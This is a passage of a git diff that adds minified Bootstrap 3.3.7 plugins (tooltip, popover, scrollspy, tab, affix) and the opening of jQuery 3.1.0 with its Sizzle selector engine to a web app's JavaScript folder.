a.attr("data-original-title"))&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},c.prototype.hasContent=function(){return this.getTitle()},c.prototype.getPosition=function(b){b=b||this.$element;var c=b[0],d="BODY"==c.tagName,e=c.getBoundingClientRect();null==e.width&&(e=a.extend({},e,{width:e.right-e.left,height:e.bottom-e.top}));var f=window.SVGElement&&c instanceof window.SVGElement,g=d?{top:0,left:0}:f?null:b.offset(),h={scroll:d?document.documentElement.scrollTop||document.body.scrollTop:b.scrollTop()},i=d?{width:a(window).width(),height:a(window).height()}:null;return a.extend({},e,h,i,g)},c.prototype.getCalculatedOffset=function(a,b,c,d){return"bottom"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:"top"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:"left"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},c.prototype.getViewportAdjustedDelta=function(a,b,c,d){var e={top:0,left:0};if(!this.$viewport)return e;var f=this.options.viewport&&this.options.viewport.padding||0,g=this.getPosition(this.$viewport);if(/right|left/.test(a)){var h=b.top-f-g.scroll,i=b.top+f-g.scroll+d;h<g.top?e.top=g.top-h:i>g.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;j<g.left?e.left=g.left-j:k>g.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null,a.$element=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.7",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.7",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b<e[0])return this.activeTarget=null,this.clear();for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(void 0===e[a+1]||b<e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){
++this.activeTarget=b,this.clear();var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")},b.prototype.clear=function(){a(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var d=a.fn.scrollspy;a.fn.scrollspy=c,a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on("load.bs.scrollspy.data-api",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new c(this)),"string"==typeof b&&e[b]()})}var c=function(b){this.element=a(b)};c.VERSION="3.3.7",c.TRANSITION_DURATION=150,c.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a"),f=a.Event("hide.bs.tab",{relatedTarget:b[0]}),g=a.Event("show.bs.tab",{relatedTarget:e[0]});if(e.trigger(f),b.trigger(g),!g.isDefaultPrevented()&&!f.isDefaultPrevented()){var h=a(d);this.activate(b.closest("li"),c),this.activate(h,h.parent(),function(){e.trigger({type:"hidden.bs.tab",relatedTarget:b[0]}),b.trigger({type:"shown.bs.tab",relatedTarget:e[0]})})}}},c.prototype.activate=function(b,d,e){function f(){g.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.7",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return e<c&&"top";if("bottom"==this.affixed)return null!=c?!(e+this.unpin<=f.top)&&"bottom":!(e+g<=a-d)&&"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&e<=c?"top":null!=d&&i+j>=a-d&&"bottom"},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);
+\ No newline at end of file
+diff --git a/app/js/jquery-3.1.0.min.js b/app/js/jquery-3.1.0.min.js
+new file mode 100644
+index 0000000..60f7969
+--- /dev/null
++++ b/app/js/jquery-3.1.0.min.js
+@@ -0,0 +1,4 @@
++/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */
++!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null!=a?a<0?this[a+this.length]:this[a]:f.call(this)},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=r.isArray(d)))?(e?(e=!1,f=c&&r.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"label"in b&&b.disabled===a||"form"in b&&b.disabled===a||"form"in b&&b.disabled===!1&&(b.isDisabled===a||b.isDisabled!==!a&&("label"in b||!ea(b))!==a)}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return 